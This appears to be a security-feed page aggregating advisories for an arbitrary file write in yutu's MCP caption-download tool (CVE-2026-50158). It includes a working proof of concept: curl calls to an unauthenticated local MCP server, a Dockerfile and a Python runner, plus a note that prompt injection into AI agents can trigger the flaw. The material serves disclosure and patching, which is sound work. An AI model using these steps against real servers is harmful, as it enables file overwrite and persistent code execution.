Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 11:09 UTC Customize Public modeDiscuss ChangeIntel on Discord

yutu: Arbitrary File Write via MCP `caption-download` Tool

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-50158

Published

yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/caption/caption.go, where os.Create() creates or truncates that path without using the pkg.Root confinement boundary backed by YUTU_ROOT. A principal able to invoke caption-download, including a local HTTP client when the MCP server runs with its default authentication-disabled configuration, can write downloaded caption bytes to any path writable by the yutu process outside YUTU_ROOT. This can overwrite application files, configuration, shell startup files, logs, or data and can cause persistent code execution or denial of service depending on the selected writable target. Live caption retrieval also requires usable service credentials and an accessible caption identifier. This issue is fixed in version 0.10.9.

Source published
17 Sep 2026 21:43:49 UTC
Source modified
18 Sep 2026 14:43:19 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.7 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

euvd · EUVD-2026-82566

Published

yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/caption/caption.go, where os.Create() creates or truncates that path without using the pkg.Root confinement boundary backed by YUTU_ROOT. A principal able to invoke caption-download, including a local HTTP client when the MCP server runs with its default authentication-disabled configuration, can write downloaded caption bytes to any path writable by the yutu process outside YUTU_ROOT. This can overwrite application files, configuration, shell startup files, logs, or data and can cause persistent code execution or denial of service depending on the selected writable target. Live caption retrieval also requires usable service credentials and an accessible caption identifier. This issue is fixed in version 0.10.9.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 17, 2026, 9:43:49 PM

dateUpdated: Sep 18, 2026, 2:43:19 PM

Source published
Sep 17, 2026, 9:43:49 PM (timezone not stated)
Source modified
Sep 18, 2026, 2:43:19 PM (timezone not stated)
Observed here
11 Nov 2026 13:05:59 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.7 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

nvd · CVE-2026-50158

Published

yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/caption/caption.go, where os.Create() creates or truncates that path without using the pkg.Root confinement boundary backed by YUTU_ROOT. A principal able to invoke caption-download, including a local HTTP client when the MCP server runs with its default authentication-disabled configuration, can write downloaded caption bytes to any path writable by the yutu process outside YUTU_ROOT. This can overwrite application files, configuration, shell startup files, logs, or data and can cause persistent code execution or denial of service depending on the selected writable target. Live caption retrieval also requires usable service credentials and an accessible caption identifier. This issue is fixed in version 0.10.9.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-73

Original publisher date fields

published: 2026-09-17T22:16:59.297

lastModified: 2026-09-24T21:25:27.050

Source published
17 Sep 2026 22:16:59 UTC
Source modified
24 Sep 2026 21:25:27 UTC
Observed here
25 Oct 2026 12:17:38 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

osv · GHSA-2c7f-fxww-6w6c

Published

## Arbitrary File Write via MCP `caption-download` Tool ### Summary The `caption-download` MCP tool in yutu passes the caller-supplied `file` parameter directly to `os.Create()` at `pkg/caption/caption.go:272` without any path validation, canonicalization, or confinement to the `pkg.Root` boundary (`YUTU_ROOT`). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a **High** severity vulnerability (CVSS 7.7) with high integrity and availability impact. ### Details yutu uses `pkg.Root` (backed by Go 1.24's `os.OpenRoot`) to restrict all file I/O to the `YUTU_ROOT` directory. Every other caption file-write path honours this boundary: | Method | Sink | Confined? | |--------|------|-----------| | `Caption.Insert()` | `pkg.Root.Open(c.File)` (`caption.go:109`) | Yes | | `Caption.Update()` | `pkg.Root.Open(c.File)` (`caption.go:193`) | Yes | | `Caption.Download()` | `os.Create(c.File)` (`caption.go:272`) | **No** | `Caption.Download()` is the sole outlier. The attacker-controlled `file` field flows without restriction from the MCP tool input schema to a raw `os.Create()` call: 1. **Source** — `cmd/caption/download.go:32–41`: `downloadInSchema` declares `file` as a required `string` field in the MCP JSON input schema. 2. **Binding** — `cmd/caption/download.go:61–64`: `cobramcp.GenToolHandler` maps MCP input to `input.Download(writer)`. 3. **Sink** — `pkg/caption/caption.go:272`: `os.Create(c.File)` creates or truncates the file at the attacker-supplied path. 4. **Write** — `pkg/caption/caption.go:280`: `file.Write(body)` writes the downloaded caption bytes to that path. ```go // cmd/caption/download.go var downloadInSchema = &jsonschema.Schema{ Required: []string{"ids", "file"}, // line 34 // ... "file": {Type: "string", Description: fileUsage}, // line 40 } // cobramcp.GenToolHandler binds MCP → handler (line 61-64) cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error { return input.Download(writer) }) // pkg/caption/caption.go body, err := io.ReadAll(res.Body) // line 267 file, err := os.Create(c.File) // line 272 ← unconfined sink // ... _, err = file.Write(body) // line 280 ``` The `caption-download` tool is registered by default in `init()` at `cmd/caption/download.go:52`, and the HTTP MCP server starts with `--auth` defaulting to `false` (`cmd/mcp.go:42`), meaning no authentication is required for local HTTP callers. **Recommended fix:** ```diff --- a/pkg/caption/caption.go +++ b/pkg/caption/caption.go @@ - file, err := os.Create(c.File) + file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600) if err != nil { return errors.Join(errDownloadCaption, err) } ``` ### PoC **Prerequisites:** - yutu `0.0.0-dev` / commit `351c99d` - Valid `YUTU_CREDENTIAL` and `YUTU_CACHE_TOKEN` available - yutu MCP server running in HTTP mode **Docker-based reproduction (no live credentials needed):** The self-contained PoC builds a binary that exercises `caption.Download()` directly inside a container, with `YUTU_ROOT=/tmp/yutu_safe_root` as the confinement boundary. ```bash # From the report workspace root: docker build --no-cache -t yutu-vuln001-poc \ -f vuln-001/Dockerfile \ reports/mcp_49_eat-pray-ai__yutu docker run --rm yutu-vuln001-poc ``` Expected output confirms: - `pkg.Root.Open("/tmp/poc-arbitrary-write.txt")` is correctly rejected with `path escapes from parent` (control). - `caption.Download()` with `file="/tmp/poc-arbitrary-write.txt"` succeeds and creates a 79-byte file **outside** `YUTU_ROOT` (exploit). **Live MCP server reproduction:** ```bash # Start the HTTP MCP server (no auth by default) yutu mcp --mode http --port 8216 # Initialise session curl -sD /tmp/yutu.headers \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ http://localhost:8216/mcp \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \ >/tmp/yutu.init SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r') # Exploit: write caption to arbitrary path # Replace CAPTION_ID with a caption id accessible by the configured token curl -s \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ ${SID:+-H "Mcp-Session-Id: $SID"} \ http://localhost:8216/mcp \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}' # Verify file was written outside YUTU_ROOT test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt ``` ### Impact This is an **Arbitrary File Write** vulnerability. Any principal that can invoke the `caption-download` MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (`--auth false`) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the `YUTU_ROOT` confinement boundary that all other file-write operations in yutu respect. **Potential consequences include:** - Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution. - Corrupting log files or database files to cause denial of service. - Writing web-accessible files in deployments where yutu runs alongside a web server. - Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the `file` parameter is fully attacker-controlled with no guardrails. Impacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose `caption-download` to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 PoC Dockerfile # Build con: reports/mcp_49_eat-pray-ai__yutu/ # repo/ - the cloned yutu repository # vuln-001/ - this workspace (Dockerfile, poc_main.go) FROM golang:1.26 AS builder WORKDIR /build # Copy the yutu source tree (provides the vulnerable packages) COPY repo/ . # Inject PoC as a new command package (does not modify existing source) RUN mkdir -p cmd/poc_exploit COPY vuln-001/poc_main.go cmd/poc_exploit/main.go # Build the PoC binary (static, no CGO needed) RUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/ # ── Runtime stage ────────────────────────────────────────────────────────── FROM debian:12-slim COPY --from=builder /poc /poc # YUTU_ROOT defines the pkg.Root confinement boundary. # The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root, # demonstrating the os.Create bypass. ENV YUTU_ROOT=/tmp/yutu_safe_root RUN mkdir -p /tmp/yutu_safe_root CMD ["/poc"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 PoC Runner Exploit: Arbitrary File Write via MCP caption-download (CWE-73) Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement Usage: python3 poc.py """ import os import subprocess import sys VULN_DIR = os.path.dirname(os.path.abspath(__file__)) CONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/ DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") IMAGE_NAME = "yutu-vuln001-poc" def run(cmd, check=False, **kwargs): print("$ " + " ".join(str(a) for a in cmd)) result = subprocess.run(cmd, =True, **kwargs) return result def main(): print("=" * 70) print("VULN-001: Arbitrary File Write via MCP caption-download") print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)") print("=" * 70) # ── Build ──────────────────────────────────────────────────────────────── build_cmd = [ "docker", "build", "--no-cache", "-t", IMAGE_NAME, "-f", DOCKERFILE, CONTEXT_DIR, ] print("\n[Step 1] Building Docker image ...") result = run(build_cmd, capture_output=False) if result.returncode != 0: print("\n[FAIL] Docker build failed.", file=sys.stderr) sys.exit(1) # ── Run ────────────────────────────────────────────────────────────────── run_cmd = ["docker", "run", "--rm", IMAGE_NAME] print("\n[Step 2] Running PoC container ...") result = run(run_cmd, capture_output=True) stdout = result.stdout or "" stderr = result.stderr or "" print(stdout, end="") if stderr: print(stderr, end="", file=sys.stderr) # ── Verdict ────────────────────────────────────────────────────────────── passed = ( result.returncode == 0 and "VULNERABILITY CONFIRMED" in stdout and "PASS" in stdout and "os.Create bypasses pkg.Root" in stdout ) if passed: print("\n[RESULT] PASS – vulnerability dynamically reproduced.") else: print(f"\n[RESULT] FAIL – container exit code {result.returncode}.", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main() ```

Source published
14 Jul 2026 19:34:47 UTC
Source modified
21 Jul 2026 19:19:17 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Publisher rating · HIGH

osv · GO-2026-5980

Published

yutu: Arbitrary File Write via MCP `caption-download` Tool in github.com/eat-pray-ai/yutu

Source published
17 Jul 2026 19:42:05 UTC
Source modified
21 Jul 2026 19:15:30 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 12 Nov 11:09 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current